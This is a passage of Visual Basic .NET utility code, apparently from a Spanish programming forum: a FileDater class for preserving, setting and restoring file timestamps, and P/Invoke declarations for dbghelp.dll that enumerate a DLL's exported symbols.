Optional ByVal Length As Long = 0)
Using fs As New IO.FileStream(Filepath, IO.FileMode.CreateNew)
fs.SetLength(Length)
End Using
End Sub
Preserva, Restaura, o Establece las fechas de un archivo.
Nota: Esta versión tiene ciertas mejoras a la versión que publiqué en el foro, la mejora en concreto es la de poder restaurar las fechas si un archivo ha cambiado de ubicación o de nombre.
' ***********************************************************************
' Author : Elektro
' Modified : 07-22-2014
' ***********************************************************************
' <copyright file="FileDater.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
#Region " Example 1 "
'' Instance a test FileInfo using an unique temp file.
'Using fd As New FileDater(File:=New IO.FileInfo(IO.Path.GetTempFileName))
'
' ' Preserve the current date-modified of the file.
' fd.Preserve(FileDater.DateType.Modified)
'
' ' Do some kind of operation that alters the current date-modified of the file.
' IO.File.AppendAllText(fd.File.FullName, New String("X"c, 10I))
'
' ' Restore the previously preserved date-modified on the TestFile.
' fd.Restore(FileDater.DateType.Modified)
'End Using '/ fd
#End Region
#Region " Example 2 "
'' Declare a test filepath.
'Dim TestFile As String = "C:\Testfile.tmp"
'
'' Create the test file.
'If Not IO.File.Exists(TestFile) Then
' Using fs As New IO.FileStream(TestFile, IO.FileMode.CreateNew, IO.FileAccess.ReadWrite)
' End Using
'End If
'
'' Instance the FileDater Class.
'Using fd As New FileDater(File:=TestFile)
'
' ' Preserve all the current dates of the TestFile.
' fd.Preserve()
'
' ' Print the preserved dates in the debug console.
' Debug.WriteLine(String.Format("Preserved Creation Date: {0}", fd.PreservedCreationDate.ToString))
' Debug.WriteLine(String.Format("Preserved LastAccess Date: {0}", fd.PreservedLastAccessDate.ToString))
' Debug.WriteLine(String.Format("Preserved LastModify Date: {0}", fd.PreservedLastModifyDate.ToString))
'
' ' Copy the testfile to other location.
' IO.File.Copy(fd.File.FullName, "C:\New Testfile.tmp", True)
'
' ' Assign the new location in the instanced FileDater.
' fd.SetFileLocation("C:\New Testfile.tmp")
'
' ' Modify all the dated on the copied TestFile.
' fd.Set(Date.Parse("01/01/2015"))
'
' ' Restore all the previously preserved dates on the new TestFile.
' fd.Restore()
'
' ' Print the current testfile dates in the debug console.
' Debug.WriteLine(String.Format("Current Creation Date: {0}", fd.File.CreationTime.ToString))
' Debug.WriteLine(String.Format("Current LastAccess Date: {0}", fd.File.LastAccessTime.ToString))
' Debug.WriteLine(String.Format("Current LastModify Date: {0}", fd.File.LastWriteTime.ToString))
'
'End Using
#End Region
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.IO
#End Region
#Region " FileDater "
''' <summary>
''' Contains methods to preserve, set, and restore the dates contained on file.
''' </summary>
Public NotInheritable Class FileDater : Implements IDisposable
#Region " Objects "
''' <summary>
''' Contains the files that are already used in the constructor to prevent a duplicated instance for the same file.
''' </summary>
Private Shared InstancedFiles As New List(Of FileInfo)
#End Region
#Region " Properties "
''' <summary>
''' Gets the file.
''' </summary>
''' <value>The file.</value>
Public ReadOnly Property [File] As FileInfo
Get
Return Me._File
End Get
End Property
Private _File As FileInfo
''' <summary>
''' Gets the type of the current preserved dates.
''' </summary>
Public ReadOnly Property PreservedTypes As DateType
Get
Return Me._PreservedTypes
End Get
End Property
Private _PreservedTypes As DateType = Nothing
''' <summary>
''' Gets the preserved creation date.
''' </summary>
''' <value>The preserved creation date.</value>
Public ReadOnly Property PreservedCreationDate As Date
Get
Return Me._PreservedCreationDate
End Get
End Property
Private _PreservedCreationDate As Date
''' <summary>
''' Gets the preserved last-access date.
''' </summary>
''' <value>The preserved creation date.</value>
Public ReadOnly Property PreservedLastAccessDate As Date
Get
Return Me._PreservedLastAccessDate
End Get
End Property
Private _PreservedLastAccessDate As Date
''' <summary>
''' Gets the preserved last-modify date.
''' </summary>
''' <value>The preserved creation date.</value>
Public ReadOnly Property PreservedLastModifyDate As Date
Get
Return Me._PreservedLastModifyDate
End Get
End Property
Private _PreservedLastModifyDate As Date
#End Region
#Region " Enumerations "
''' <summary>
''' Contains a FileDate flag.
''' </summary>
<FlagsAttribute>
Public Enum DateType As Integer
''' <summary>
''' The date when the file was created.
''' </summary>
Created = 1I
''' <summary>
''' The date when the file was accessed by last time.
''' </summary>
Accessed = 2I
''' <summary>
''' The date when the file was modified by last time.
''' </summary>
Modified = 4I
End Enum
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="FileDater"/> class.
''' </summary>
''' <param name="File">Indicates the <see cref="FileInfo"/> instance.</param>
''' <exception cref="System.Exception"></exception>
Public Sub New(ByVal [File] As FileInfo)
If Not InstancedFiles.Contains([File]) Then
Me._File = [File]
InstancedFiles.Add([File])
Else
Throw New Exception(String.Format("Another instance of the '{0}' class is using the same file.", MyBase.GetType.Name))
End If
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="FileDater"/> class.
''' </summary>
''' <param name="File">Indicates the file.</param>
Public Sub New(ByVal [File] As String)
Me.New(New FileInfo([File]))
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="FileDater"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Preserves the specified dates of the file to restore them later at any time.
''' Note: Dates can be preserved again at any time.
''' </summary>
''' <param name="DateType">Indicates the type of dates to preserve.</param>
Public Sub Preserve(ByVal DateType As DateType)
Me.DisposedCheck()
' Creation
If DateType.HasFlag(FileDater.DateType.Created) Then
Me._PreservedCreationDate = Me._File.CreationTime
End If
' Accessed
If DateType.HasFlag(FileDater.DateType.Accessed) Then
Me._PreservedLastAccessDate = Me._File.LastAccessTime
End If
' Modified
If DateType.HasFlag(FileDater.DateType.Modified) Then
Me._PreservedLastModifyDate = Me._File.LastWriteTime
End If
Me._PreservedTypes = DateType
End Sub
''' <summary>
''' Preserves at once all the dates of the file to restore them later at any time.
''' Note: Dates can be preserved again at any time.
''' </summary>
Public Sub Preserve()
Me.DisposedCheck()
Me._PreservedCreationDate = Me._File.CreationTime
Me._PreservedLastAccessDate = Me._File.LastAccessTime
Me._PreservedLastModifyDate = Me._File.LastWriteTime
Me._PreservedTypes = DateType.Created Or DateType.Accessed Or DateType.Modified
End Sub
''' <summary>
''' Restores the specified preserved dates on the file.
''' Note: Calling this method does not cause the deletion of any preserved date.
''' </summary>
''' <param name="DateType">Indicates the type of dates to restore on the file.</param>
''' <exception cref="System.Exception">Any date was preserved.</exception>
Public Sub Restore(ByVal DateType As DateType)
Me.DisposedCheck()
' Creation
If DateType.HasFlag(FileDater.DateType.Created) _
AndAlso Me._PreservedTypes.HasFlag(FileDater.DateType.Created) Then
Me._File.CreationTime = Me._PreservedCreationDate
ElseIf DateType.HasFlag(FileDater.DateType.Created) _
AndAlso Not Me._PreservedTypes.HasFlag(FileDater.DateType.Created) Then
Throw New Exception(String.Format("The specified date was not preserved.")) With {
.Source = FileDater.DateType.Created.ToString
}
End If
' Accessed
If DateType.HasFlag(FileDater.DateType.Accessed) _
AndAlso Me._PreservedTypes.HasFlag(FileDater.DateType.Accessed) Then
Me._File.LastAccessTime = Me._PreservedLastAccessDate
ElseIf DateType.HasFlag(FileDater.DateType.Accessed) _
AndAlso Not Me._PreservedTypes.HasFlag(FileDater.DateType.Accessed) Then
Throw New Exception(String.Format("The specified date was not preserved.")) With {
.Source = FileDater.DateType.Accessed.ToString
}
End If
' Modified
If DateType.HasFlag(FileDater.DateType.Modified) _
AndAlso Me._PreservedTypes.HasFlag(FileDater.DateType.Modified) Then
Me._File.LastWriteTime = Me._PreservedLastModifyDate
ElseIf DateType.HasFlag(FileDater.DateType.Modified) _
AndAlso Not Me._PreservedTypes.HasFlag(FileDater.DateType.Modified) Then
Throw New Exception(String.Format("The specified date was not preserved.")) With {
.Source = FileDater.DateType.Modified.ToString
}
End If
End Sub
''' <summary>
''' Restores at once all the preserved dates on the file.
''' Note: Calling this method does not cause the deletion of any preserved date.
''' </summary>
Public Sub Restore()
Me.DisposedCheck()
' Creation
If Me._PreservedTypes.HasFlag(FileDater.DateType.Created) Then
Me._File.CreationTime = Me._PreservedCreationDate
End If
' Accessed
If Me._PreservedTypes.HasFlag(FileDater.DateType.Accessed) Then
Me._File.LastAccessTime = Me._PreservedLastAccessDate
End If
' Modified
If Me._PreservedTypes.HasFlag(FileDater.DateType.Modified) Then
Me._File.LastWriteTime = Me._PreservedLastModifyDate
End If
End Sub
''' <summary>
''' Sets the specified dates on the file.
''' Note:
''' Calling this method does not cause the deletion of any preserved date.
''' After setting a date, must call once the <see cref="Preserve"/> method if want to preserve any new date established.
''' </summary>
''' <param name="DateType">Indicates the type of dates to set on the file.</param>
''' <param name="Date">Indicates the date.</param>
Public Sub [Set](ByVal DateType As DateType, ByVal [Date] As Date)
Me.DisposedCheck()
' Creation
If DateType.HasFlag(FileDater.DateType.Created) Then
Me._File.CreationTime = [Date]
End If
' Accessed
If DateType.HasFlag(FileDater.DateType.Accessed) Then
Me._File.LastAccessTime = [Date]
End If
' Modified
If DateType.HasFlag(FileDater.DateType.Modified) Then
Me._File.LastWriteTime = [Date]
End If
End Sub
''' <summary>
''' Sets at once all the dates on the file.
''' Note:
''' Calling this method does not cause the deletion of any preserved date.
''' After setting a date, must call once the <see cref="Preserve"/> method if want to preserve any new date established.
''' </summary>
''' <param name="Date">Indicates the date.</param>
Public Sub [Set](ByVal [Date] As Date)
Me.DisposedCheck()
Me._File.CreationTime = [Date]
Me._File.LastAccessTime = [Date]
Me._File.LastWriteTime = [Date]
End Sub
''' <summary>
''' Causes this <see cref="FileDater"/> instance to assign a new location for the current file.
''' This could be useful if the preserved dates should be restored in a file that has changed its name/ubication.
''' Note: Calling this method does not cause the deletion of any preserved date.
''' </summary>
''' <param name="File">Indicates the <see cref="FileInfo"/> instance.</param>
''' <exception cref="System.Exception"></exception>
Public Sub SetFileLocation(ByVal [File] As FileInfo)
If Not InstancedFiles.Contains([File]) Then
InstancedFiles.Remove(Me._File)
Me._File = [File]
InstancedFiles.Add([File])
Else
Throw New Exception(String.Format("Another instance of the '{0}' class is using the same file.", MyBase.GetType.Name))
End If
End Sub
''' <summary>
''' Causes this <see cref="FileDater"/> instance to assign a new location for the current file.
''' This could be useful if the preserved dates should be restored in a file that has changed its name/ubication.
''' Note: Calling this method does not cause the deletion of any preserved date.
''' </summary>
''' <param name="File">Indicates the file.</param>
''' <exception cref="System.Exception"></exception>
Public Sub SetFileLocation(ByVal [File] As String)
Me.SetFileLocation(New FileInfo([File]))
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
InstancedFiles.Remove(Me._File)
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Contiene métodos para enumerar los símbolos de una librería externa, como por ejemplo las funciones publicas, algo parecido a lo que hace la aplicación 'DLL Export Viewer': http://www.nirsoft.net/utils/dll_export_viewer.html
Nota: Como dato de interés, algo que yo también me pregunté en su momento:
No existe ingeniería inversa posible para obtener las firmas de los métodos, los datatypes de los parámetros.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 05-03-2014
' ***********************************************************************
' <copyright file="Symbols.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Private Sub Test() Handles MyBase.Load
' Dim dll As String = "C:\C++ lib x64.dll"
' Dim initialized As Boolean = False
' Dim hProcess As IntPtr = Nothing
' Try
' hProcess = Process.GetCurrentProcess().Handle
' If (Symbols.SymInitialize(hProcess, Nothing, True)) Then
' initialized = True
' Else
' Throw New System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error())
' End If
' Dim baseOfDll As IntPtr = Symbols.SymLoadModuleEx(hProcess, IntPtr.Zero, dll,
' Nothing, 0, 0, IntPtr.Zero,
' Symbols.SymLoadModuleFlags.Module_And_Symbols)
' If (baseOfDll = IntPtr.Zero) Then
' Throw New System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error())
' End If
' If Not Symbols.SymEnumSymbols(
' hProcess,
' baseOfDll,
' "*",
' AddressOf EnumSymProc, IntPtr.Zero
' ) Then
' Throw New System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error())
' End If
' Catch ex As Exception
' Debug.WriteLine(ex.Message)
' Finally
' If (initialized) Then
' Symbols.SymCleanup(hProcess)
' End If
' End Try
'End Sub
'Friend Shared Function EnumSymProc(ByVal pSymInfo As IntPtr,
' ByVal SymbolSize As UInteger,
' ByVal UserContext As IntPtr) As Boolean
' Dim Symbol As New Symbols.SYMBOL_INFO With
' {
' .SizeOfStruct = System.Runtime.InteropServices.Marshal.SizeOf(GetType(Symbols.SYMBOL_INFO))
' }
' System.Runtime.InteropServices.Marshal.PtrToStructure(pSymInfo, Symbol)
' Dim sb As New System.Text.StringBuilder
' With sb
' .AppendLine(String.Format("Address: {0}", CStr(Symbol.Address)))
' .AppendLine(String.Format("Flags: {0}", Symbol.Flags.ToString))
' .AppendLine(String.Format("Index: {0}", CStr(Symbol.Index)))
' .AppendLine(String.Format("Module Base Address: {0}", CStr(Symbol.ModBase)))
' .AppendLine(String.Format("Name: {0}", Symbol.Name))
' .AppendLine(String.Format("Size: {0}", CStr(Symbol.Size)))
' .AppendLine(String.Format("Tag: {0}", Symbol.Tag.ToString))
' End With
' Debug.WriteLine(sb.ToString)
' Return True
'End Function
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Runtime.InteropServices
#End Region
Public Class Symbols
#Region " P/Invoke "
#Region " Methods "
''' <summary>
''' Initializes the symbol handler for a process.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681351%28v=vs.85%29.aspx
''' </summary>
''' <param name="hProcess">
''' A handle that identifies the caller.
''' This value should be unique and nonzero, but need not be a process handle.
''' However, if you do use a process handle, be sure to use the correct handle.
''' If the application is a debugger, use the process handle for the process being debugged.
''' Do not use the handle returned by 'GetCurrentProcess' when debugging another process,
''' because calling functions like 'SymLoadModuleEx' can have unexpected results.
''' </param>
''' <param name="UserSearchPath">
''' The path, or series of paths separated by a semicolon (;), that is used to search for symbol files.
''' If this parameter is NULL, the library attempts to form a symbol path from the following sources:
''' The current working directory of the application.
''' The _NT_SYMBOL_PATH environment variable.
''' The _NT_ALTERNATE_SYMBOL_PATH environment variable.
''' </param>
''' <param name="fInvadeProcess">
''' If this value is TRUE, enumerates the loaded modules for the process
''' and effectively calls the 'SymLoadModule64' function for each module.</param>
''' <returns>
''' If the function succeeds, the return value is <c>true</c>.
''' If the function fails, the return value is <c>false</c>.
''' </returns>
<DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Friend Shared Function SymInitialize(
ByVal hProcess As IntPtr,
ByVal UserSearchPath As String,
<MarshalAs(UnmanagedType.Bool)>
ByVal fInvadeProcess As Boolean
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Deallocates all resources associated with the process handle.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680696%28v=vs.85%29.aspx
''' </summary>
''' <param name="hProcess">A handle to the process that was originally passed to the 'SymInitialize' function.</param>
''' <returns>
''' If the function succeeds, the return value is <c>true</c>.
''' If the function fails, the return value is <c>false</c>.
''' </returns>
<DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Friend Shared Function SymCleanup(
ByVal hProcess As IntPtr
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Sets the options mask.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681366%28v=vs.85%29.aspx
''' </summary>
''' <param name="SymOptions"></param>
''' <returns>The function returns the current options mask.</returns>
<DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Friend Shared Function SymSetOptions(
ByVal SymOptions As SymOptionFlags
) As Integer
End Function
''' <summary>
''' Loads the symbol table for the specified module.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681353%28v=vs.85%29.aspx
''' </summary>
''' <param name="hProcess">
''' A handle to the process that was originally passed to the 'SymInitialize' function.
''' </param>
''' <param name="hFile">
''' The 'h fileA' handle to the file for the executable image.
''' This argument is used mostly by debuggers, where the debugger passes the file handle obtained from a debugging event.
''' A value of NULL indicates that 'hFile' is not used.
''' </param>
''' <param name="ImageName">
''' The name of the executable image.
''' This name can contain a partial path, a full path, or no path at all.
''' If the file cannot be located by the name provided, the symbol search path is used.
''' </param>
''' <param name="ModuleName">
''' A shortcut name for the module.
''' If the pointer value is NULL, the library creates a name using the base name of the symbol file.
''' </param>
''' <param name="BaseOfDll">
''' The load address of the module.
''' If the value is zero, the library obtains the load address from the symbol file.
''' The load address contained in the symbol file is not necessarily the actual load address.
''' Debuggers and other applications having an actual load address should use the real load address when calling this function.
''' If the image is a '.pdb' file, this parameter cannot be zero.
''' </param>
''' <param name="DllSize">
''' The size of the module, in bytes.
''' If the value is zero, the library obtains the size from the symbol file.
''' The size contained in the symbol file is not necessarily the actual size.
''' Debuggers and other applications having an actual size should use the real size when calling this function.
''' If the image is a '.pdb' file, this parameter cannot be zero.
''' </param>
''' <param name="Data">
''' A pointer to a 'MODLOAD_DATA' structure that represents headers other than the standard PE header.
''' This parameter is optional and can be NULL.
''' </param>
''' <param name="Flags">
''' This parameter can be one or more of the 'SymLoadModuleFlags' Enum values.
''' If this parameter is zero, the function loads the modules and the symbols for the module.
''' </param>
''' <returns>
''' If the function succeeds, the return value is the base address of the loaded module.
''' If the function fails, the return value is zero. To retrieve extended error information, call 'GetLastError'.
''' If the module is already loaded, the return value is zero and 'GetLastError' returns 'ERROR_SUCCESS'.
''' </returns>
<DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Friend Shared Function SymLoadModuleEx(
ByVal hProcess As IntPtr,
ByVal hFile As IntPtr,
ByVal ImageName As String,
ByVal ModuleName As String,
ByVal BaseOfDll As Long,
ByVal DllSize As Integer,
ByVal Data As IntPtr,
ByVal Flags As SymLoadModuleFlags
) As ULong
End Function
''' <summary>
''' Enumerates all symbols in a process.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680718%28v=vs.85%29.aspx
''' </summary>
''' <param name="hProcess">
''' A handle to a process.
''' This handle must have been previously passed to the 'SymInitialize' function.
''' </param>
''' <param name="BaseOfDll">
''' The base address of the module.
''' If this value is zero and 'Mask' contains an exclamation point (!),
''' the function looks across modules.
''' If this value is zero and 'Mask' does not contain an exclamation point,
''' the function uses the scope established by the 'SymSetContext' function.
''' </param>
''' <param name="Mask">
''' A wildcard string that indicates the names of the symbols to be enumerated.
''' The text can optionally contain the wildcards, "*" and "?".
''' </param>
''' <param name="EnumSymbolsCallback">
''' A 'SymEnumSymbolsProc' callback function that receives the symbol information.
''' </param>
''' <param name="UserContext">
''' A user-defined value that is passed to the callback function, or NULL.
''' This parameter is typically used by an application to pass a pointer to a data structure
''' that provides context for the callback function.
''' </param>
''' <returns>
''' If the function succeeds, the return value is <c>true</c>.
''' If the function fails, the return value is <c>false</c>.
''' </returns>
<DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Friend Shared Function SymEnumSymbols(
ByVal hProcess As IntPtr,
ByVal BaseOfDll As ULong,
<MarshalAs(UnmanagedType.LPWStr)>
ByVal Mask As String,
ByVal EnumSymbolsCallback As SymEnumSymbolsProc,
ByVal UserContext As IntPtr
) As Boolean
End Function
#End Region
#End Region
#Region " Types "
''' <summary>
''' Contains symbol information.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680686%28v=vs.85%29.aspx
''' </summary>
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Auto)>
Public Class SYMBOL_INFO
''' <summary>
''' The size of the structure, in bytes.
''' This member must be set to sizeof(SYMBOL_INFO).
''' Note that the total size of the data is the SizeOfStruct + (MaxNameLen - 1) * sizeof(TCHAR).
''' The reason to subtract one is that the first character in the name is accounted for in the size of the structure.
''' </summary>
Public SizeOfStruct As UInteger
''' <summary>
''' A unique value that identifies the type data that describes the symbol.
''' This value does not persist between sessions.
''' </summary>
Public TypeIndex As UInteger
''' <summary>
''' This member is reserved for system use.
''' </summary>
Public Reserved1 As ULong
''' <summary>
''' This member is reserved for system use.
''' </summary>
Public Reserved2 As ULong
''' <summary>
''' The unique value for the symbol.
''' The value associated with a symbol is not guaranteed to be the same each time you run the process.
''' For PDB symbols, the index value for a symbol is not generated until
''' the symbol is enumerated or retrieved through a search by name or address.
''' The index values for all CodeView and COFF symbols are generated when the symbols are loaded.
''' </summary>
Public Index As UInteger
''' <summary>
''' The symbol size, in bytes.
''' This value is meaningful only if the module symbols are from a pdb file;
''' otherwise, this value is typically zero and should be ignored.
''' </summary>
Public Size As UInteger
''' <summary>
''' The base address of the module that contains the symbol.
''' </summary>
Public ModBase As ULong
''' <summary>
''' The symbol information.
''' This member can be one or more of the 'SymFlag' values.
''' </summary>
Public Flags As SymFlag
''' <summary>
''' The value of a constant.
''' </summary>
Public Value As ULong
''' <summary>
''' The virtual address of the start of the symbol.
''' </summary>
Public Address As ULong
''' <summary>
''' The register.
''' </summary>
Public Register As UInteger
''' <summary>
''' The DIA scope.
''' For more information, see the Debug Interface Access SDK in the Visual Studio documentation.
''' (This resource may not be available in some languages and countries.)
''' </summary>
Public Scope As UInteger
''' <summary>
''' The PDB classification.
''' These values are defined in 'Dbghelp.h' in the 'SymTagEnum' enumeration type.
''' </summary>
Public Tag As SymTagEnum
''' <summary>
''' The length of the name, in characters, not including the null-terminating character.
''' </summary>
Public NameLen As UInteger
''' <summary>
''' The size of the Name buffer, in characters.
''' If this member is 0, the Name member is not used.
''' </summary>
Public MaxNameLen As UInteger
''' <summary>
''' The name of the symbol.
''' The name can be undecorated if the 'SYMOPT_UNDNAME' option is used with the 'SymSetOptions' function.
''' </summary>
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=1024I)>
Public Name As String
End Class
#End Region
#Region " Enumerations "
''' <summary>
''' Flags for 'SymLoadModuleEx' function.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681353%28v=vs.85%29.aspx
''' </summary>
<Description("Enum used as 'Flags' parameter of 'SymLoadModuleEx' function")>
<FlagsAttribute()>
Public Enum SymLoadModuleFlags As Integer
''' <summary>
''' Loads the module and the symbols for the module.
''' </summary>
Module_And_Symbols = &H0UI
''' <summary>
''' Loads the module but not the symbols for the module.
''' </summary>
Only_Module = &H4UI
''' <summary>
''' Creates a virtual module named 'ModuleName' at the address specified in 'BaseOfDll'.
''' To add symbols to this module, call the 'SymAddSymbol' function.
''' </summary>
Virtual = &H1UI
End Enum
''' <summary>
''' Contains symbol information.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680686%28v=vs.85%29.aspx
''' </summary>
<Description("Enum used as 'Flags' property of 'SYMBOL_INFO' Class")>
<FlagsAttribute>
Public Enum SymFlag As UInteger
''' <summary>
''' The Value member is used.
''' </summary>
VALUEPRESENT = &H1UI
''' <summary>
''' The symbol is a register.
''' The Register member is used.
''' </summary>
REGISTER = &H8UI
''' <summary>
''' Offsets are register relative.
''' </summary>
REGREL = &H10UI
''' <summary>
''' Offsets are frame relative.
''' </summary>
FRAMEREL = &H20UI
''' <summary>
''' The symbol is a parameter.
''' </summary>
PARAMETER = &H40UI
''' <summary>
''' The symbol is a local variable.
''' </summary>
LOCAL = &H80UI
''' <summary>
''' The symbol is a constant.
''' </summary>
CONSTANT = &H100UI
''' <summary>
''' The symbol is from the export table.
''' </summary>
EXPORT = &H200UI
''' <summary>
''' The symbol is a forwarder.
''' </summary>
FORWARDER = &H400UI
''' <summary>
''' The symbol is a known function.
''' </summary>
[FUNCTION] = &H800UI
''' <summary>
''' The symbol is a virtual symbol created by the 'SymAddSymbol' function.
''' </summary>
VIRTUAL = &H1000UI
''' <summary>
''' The symbol is a thunk.
''' </summary>
THUNK = &H2000UI
''' <summary>
''' The symbol is an offset into the TLS data area.
''' </summary>
TLSREL = &H4000UI
''' <summary>
''' The symbol is a managed code slot.
''' </summary>
SLOT = &H8000UI
''' <summary>
''' The symbol address is an offset relative to the beginning of the intermediate language block.
''' This applies to managed code only.
''' </summary>
ILREL = &H10000UI
''' <summary>
''' The symbol is managed metadata.
''' </summary>
METADATA = &H20000UI
''' <summary>
''' The symbol is a CLR token.
''' </summary>
CLR_TOKEN = &H40000UI
End Enum
''' <summary>
''' Specifies the type of symbol.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/bkedss5f.aspx
''' </summary>
<Description("Enum used as 'Tag' property of 'SYMBOL_INFO' Class")>
<Flags>
Public Enum SymTagEnum As UInteger
''' <summary>
''' Indicates that the symbol has no type.
''' </summary>
Null
''' <summary>
''' Indicates that the symbol is an .exe file.
''' There is only one SymTagExe symbol per symbol store.
''' It serves as the global scope and does not have a lexical parent.
''' </summary>
Exe
''' <summary>
''' Indicates the compiland symbol for each compiland component of the symbol store.
''' For native applications, SymTagCompiland symbols correspond to the object files linked into the image.
''' For some kinds of Microsoft Intermediate Language (MSIL) images, there is one compiland per class.
''' </summary>
Compiland
''' <summary>
''' Indicates that the symbol contains extended attributes of the compiland.
''' Retrieving these properties may require loading compiland symbols.
''' </summary>
CompilandDetails
''' <summary>
''' Indicates that the symbol is an environment string defined for the compiland.
''' </summary>
CompilandEnv
''' <summary>
''' Indicates that the symbol is a function.
''' </summary>
[Function]
''' <summary>
''' Indicates that the symbol is a nested block.
''' </summary>
Block
''' <summary>
''' Indicates that the symbol is data.
''' </summary>
Data
''' <summary>
''' Indicates that the symbol is for a code annotation.
''' Children of this symbol are constant data strings (SymTagData, LocIsConstant, DataIsConstant).
''' Most clients ignore this symbol.
''' </summary>
Annotation
''' <summary>
''' Indicates that the symbol is a label.
''' </summary>
Label
''' <summary>
''' Indicates that the symbol is a public symbol. For native applications,
''' this symbol is the COFF external symbol encountered while linking the image.
''' </summary>
PublicSymbol
''' <summary>
''' Indicates that the symbol is a user-defined type (structure, class, or union).
''' </summary>
UDT
''' <summary>
''' Indicates that the symbol is an enumeration.
''' </summary>
[Enum]
''' <summary>
''' Indicates that the symbol is a function signature type.
''' </summary>
FunctionType
''' <summary>
''' Indicates that the symbol is a pointer type.
''' </summary>
PointerType
''' <summary>
''' Indicates that the symbol is an array type.
''' </summary>
ArrayType
''' <summary>
''' Indicates that the symbol is a base type.
''' </summary>
BaseType
''' <summary>
''' Indicates that the symbol is a typedef, that is, an alias for another type.
''' </summary>
Typedef
''' <summary>
''' Indicates that the symbol is a base class of a user-defined type.
''' </summary>
BaseClass
''' <summary>
''' Indicates that the symbol is a friend of a user-defined type.
''' </summary>
[Friend]
''' <summary>
''' Indicates that the symbol is a function argument.
''' </summary>
FunctionArgType
''' <summary>
''' Indicates that the symbol is the end location of the function's prologue code.
''' </summary>
FuncDebugStart
''' <summary>
''' Indicates that the symbol is the beginning location of the function's epilogue code.
''' </summary>
FuncDebugEnd
''' <summary>
''' Indicates that the symbol is a namespace name, active in the current scope.
''' </summary>
UsingNamespace
''' <summary>
''' Indicates that the symbol is a virtual table description.
''' </summary>
VTableShape
''' <summary>
''' Indicates that the symbol is a virtual table pointer.
''' </summary>
VTable
''' <summary>
''' Indicates that the symbol is a custom symbol and is not interpreted by DIA.
''' </summary>
Custom
''' <summary>
''' Indicates that the symbol is a thunk used for sharing data between 16 and 32 bit code.
''' </summary>
Thunk
''' <summary>
''' Indicates that the symbol is a custom compiler symbol.
''' </summary>
CustomType
''' <summary>
''' Indicates that the symbol is in metadata.
''' </summary>
ManagedType
''' <summary>
''' Indicates that the symbol is a FORTRAN multi-dimensional array.
''' </summary>
Dimension
''' <summary>
''' Indicates that the symbol represents the call site.
''' </summary>
CallSite
''' <summary>
''' Indicates that the symbol represents the inline site.
''' </summary>
InlineSite
''' <summary>
''' Indicates that the symbol is a base interface.
''' </summary>
BaseInterface
''' <summary>
''' Indicates that the symbol is a vector type.
''' </summary>
VectorType
''' <summary>
''' Indicates that the symbol is a matrix type.
''' </summary>
MatrixType
''' <summary>
''' Indicates that the symbol is a High Level Shader Language type.
''' </summary>
HLSLType
End Enum
''' <summary>
''' Sets the options mask.
